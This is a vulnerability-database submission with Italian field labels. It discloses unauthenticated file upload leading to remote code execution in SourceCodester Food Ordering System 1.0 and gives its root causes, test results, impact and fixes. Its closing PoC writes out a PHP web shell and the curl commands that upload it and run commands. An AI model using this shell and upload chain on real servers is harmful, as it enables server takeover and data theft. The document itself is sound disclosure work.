| Titolo | SourceCodester Food Ordering System in PHP and MySQL 1.0 Unrestricted File Upload Leading to Remote Code Execution |
|---|
| Descrizione | Unrestricted file upload leading to remote code execution in the admin image handlers (admin/add_food.php, admin/update_food.php, admin/update_category.php) of SourceCodester Food Ordering System in PHP and MySQL 1.0 allows unauthenticated remote attackers to upload arbitrary PHP files into the web root and execute operating-system commands on the server.
Two defects compose: (1) the shared session gate admin/partials/user_logged.php sends header("Location:...") for unauthenticated requests but never calls exit/die, so every handler keeps executing and the upload side effect completes even though the response redirects to login; (2) the stored filename extension is taken directly from the client-supplied filename with no whitelist, no blacklist, no getimagesize() and no MIME check, and the file is placed inside the web-served images/ directory (no .htaccess ships in the package to disable PHP execution there).
CWE-434 / CWE-862. CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8.
Verified on a local deployment (PHP 7.3.4 / MySQL 5.7.26, 2026-10-18), all requests without any cookie:
- POST /web/admin/add_food.php image=shell.php -> HTTP 302 (to login) BUT disk: images/food/food_149.php created
- GET /web/images/food/food_149.php?cmd=whoami -> "RCE-PROOF:Windows NT ... <user>"
- GET .../food_149.php?cmd=dir ..\..\config -> directory listing returned
- update_category.php?id=1 (field update_image) -> images/category/Category_1792317223.php -> whoami output OK
- update_food.php?id=1 (field new_image) -> images/food/food_326.php -> command output OK
- CONTROL add_category.php (has jpg/jpeg/png/gif whitelist + die()): same unauthenticated .php upload -> 0 files stored (defence works where implemented, proving the missing validation is a defect, not project behaviour)
- CONTROL session mechanism: GET /web/admin/index.php without cookie -> 302 to login; with session -> 200. The gate suppresses output but not the upload side effect.
Impact: complete server compromise - unauthenticated arbitrary code execution with web-server privileges, full database access (orders, customer data, admin password hashes), persistent backdoor via re-uploadable shell.
Remediation: add exit/die after the auth redirect; enforce an extension whitelist with randomized stored names in all three handlers; disable PHP execution in the images directories.
PoC:
printf '<?php echo "RCE-PROOF:".php_uname(); system($_GET["cmd"]); ?>' > shell.php
curl -s -i -X POST "http://<TARGET>/web/admin/add_food.php" -F "submit=1" -F "title=TestFood" -F "description=d" -F "price=10" -F "category_id=1" -F "[email protected];filename=shell.php"
curl -s "http://<TARGET>/web/images/food/food_<rand>.php?cmd=whoami"
White-box audit by EVA Security Research (yuechuya), 2026-10-18. Full 12-section report, source SHA-256 manifest and three-pass review:
https://github.com/yuechuya/sourcecodester-vuln-reports/blob/main/reports/Food-Ordering-System/VULN-F1-Unauth-File-Upload-RCE.md |
|---|
| Fonte | ⚠️ https://github.com/yuechuya/sourcecodester-vuln-reports/blob/main/reports/Food-Ordering-System/VULN-F1-Unauth-File-Upload-RCE.md |
|---|
| Utente | yuechuya (UID 101209) |
|---|
| Sottomissione | 18/10/2026 12:02 (25 giorni fa) |
|---|
| Moderazione | 12/11/2026 18:39 (25 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 436449 [SourceCodester Food Ordering System 1.0 Admin Image admin/update_food.php cmd escalationi di privilegi] |
|---|
| Punti | 20 |
|---|